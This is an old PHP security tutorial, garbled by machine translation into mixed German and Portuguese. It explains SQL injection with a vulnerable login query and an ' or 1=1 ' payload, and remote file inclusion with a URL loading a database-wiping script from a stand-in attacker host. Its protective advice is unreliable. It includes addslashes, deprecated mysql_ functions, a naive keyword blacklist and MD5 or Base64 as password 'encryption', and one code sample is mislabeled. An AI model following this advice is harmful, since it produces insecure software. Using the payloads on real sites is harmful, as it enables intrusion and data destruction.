Sprache:

Weißt du was ist SQL-Injection?

30 August 2009 | In Web | 10,5 mil visualizações | Von

Hier klicken und teilen: 


SQL_InjectionSprechen Sie über ein sehr wichtiges Thema, que envolve a Sicherheit dos nossos projetos em PHP e MySQL, die gefürchtete SQL-Injection. Wenn Sie Programmierer sicher schon gehört, Aber wenn Sie sicher nie verstanden habe, werde ich erklären, worum es geht.

SQL-Injection ist eine Attacke, die darauf abzielen, schädliche Befehle an die Datenbank über Formularfelder oder URLs zu senden. Bei einem erfolgreicher Angriff kann, zum Beispiel, Löschen einer Datenbanktabelle, Löschen Sie alle Daten aus der Tabelle oder erwerben Kennwörter, die registriert sind noch zu.

Unten ist ein Beispiel einer Login-System-Schwachstelle:

$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);

In diesem Beispiel die Variablen $Benutzer und $Passwort recebem Inhalt vindo diretamente de um formulário através do método POST. Vorstellen Sie, dass der Inhalt der Variablen $senha "' oder 1 = 1 '". Wenn keine Validierung durchgeführt wird, der böswillige Benutzer melden sich in das System erfolgt ohne mindestens eine gültige Registrierung angegeben haben, aufgrund eines Fehlers in der generierten SQL-Anweisung.

Schauen Sie wir uns ein weiteres Beispiel der Verwundbarkeit. Muitos sites utilizam Systeme via include() um Ihre internen Seiten zu organisieren, basierend auf die Variable $ _GET-Methode.

// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo

Und Sie hätten in der URL der Website:
http://www.seusite.com.br/?pagina=contato.php

Damit kann der "Angreifer", zum Beispiel, setzen Sie ein externes Skript anstelle der Variable einen Pfad:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php

Ihre Website würde die Datei umfassen in der Regel und rannten wir alles, was in ihm vorhanden ist... und Ihre Bank konnte vollständig zurückgesetzt!

Bekam Angst? Einfach. Zum Schutz folgen Sie ihren Arbeitsplatz einfach eine kleine Grundregel:

"Immer bestätigen einen beliebigen Datentyp, den das Projekt erhält, ob per Formular (Bereitstellen) oder per Query-String (Erhalten).”

Jetzt Fragen Sie sich was zu tun, um sich vor Angriffen zu schützen werden. Existem dezenas de “macetes” disponiveis na Internet que servem para validação de dados. Hier sind einige:

- Sie können kombinieren addslashes() und Trim() zum Empfangen der Daten. DIE erste irá adicionar uma barra invertida antes de cada barra simples ou dupla que apareça, Dieser Prozeß bekannt als ESCAPE. Die zweite wird sichergestellt, Leerstellen zu beseitigen. Sie können auch nur eine der beiden Funktionen.

$usuario = addslashes($_POST['usuario']);
$usuario = trim($usuario);
$senha = addslashes($_POST['senha']);
$senha = trim($senha);

- Können Sie mysql_real_escape_string() zum Empfangen der Daten. Diese Funktion dient dazu, die Sonderzeichen in die empfangenen Daten entfernen. Es ist erwähnenswert, dass dieser Befehl-Nãoremove % und _ .

- Können Sie strip_tags() zum Empfangen der Daten. Diese Funktion entfernt alle HTML- und PHP-Tags aus Angaben.

$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);

Lassen Sie den zweiten Parameter der Funktion zu verwenden, die angibt, welche Tags weiterhin erlaubt sind.

$usuario = strip_tags($_POST['usuario']);
$senha = strip_tags($_POST['senha']);

- Für die gesamte Variable wird geliefert, Können Sie intval().

$usuario = strip_tags($_POST['usuario'], '<em><strong></strong></em>');

Auf diese Weise vermeiden Sie alle nicht numerischen caráctere, nur verlassen Integer-Werte.

- Sie können auch mehrere Funktionen in einer einzigen Funktion sehr viel umfassendere kombinieren.. Hier ist ein Beispiel unten:

function protecao($string){
$string = str_replace(" or ", "", $string);
$string = str_replace("select ", "", $string);
$string = str_replace("delete ", "", $string);
$string = str_replace("create ", "", $string);
$string = str_replace("drop ", "", $string);
$string = str_replace("update ", "", $string);
$string = str_replace("drop table", "", $string);
$string = str_replace("show table", "", $string);
$string = str_replace("applet", "", $string);
$string = str_replace("object", "", $string);
$string = str_replace("'", "", $string);
$string = str_replace("#", "", $string);
$string = str_replace("=", "", $string);
$string = str_replace("--", "", $string);
$string = str_replace("-", "", $string);
$string = str_replace(";", "", $string);
$string = str_replace("*", "", $string);
$string = strip_tags($string);
return $string;
}

- Wenn Sie mit Kennwörtern oder sensible Daten arbeiten, Es ist wichtig, über die Verwendung von denken VERSCHLÜSSELUNG Daten. Können Sie MD5, SHA1 oder "Base64", ist, dass die ersten beiden der "One-Way sind" und kein zu den vorherigen Zustand Rollback. Suche Suche mehr über sie und schützen Sie sich.

Mit Zitaten aus Digitaler Zoom

De Ivaiporã/PR, Engenheiro de Computação, Administrador do Grupo Dicas em Geral. Apaixonado por Tecnologia e Informática.



Um pouco sobre nós

    O Grupo Dicas em Geral surgiu em 2007 a partir de idéias inovadoras sobre solução de problemas enfrentados diariamente por quem utiliza a Tecnologia e Informática, tanto usuários comuns quanto técnicos. Mas onde surgiu, por quê e qual é o propósito deste site?

Clique aqui e conheça!

Siga o Dicas em Geral no Google+

Video der Woche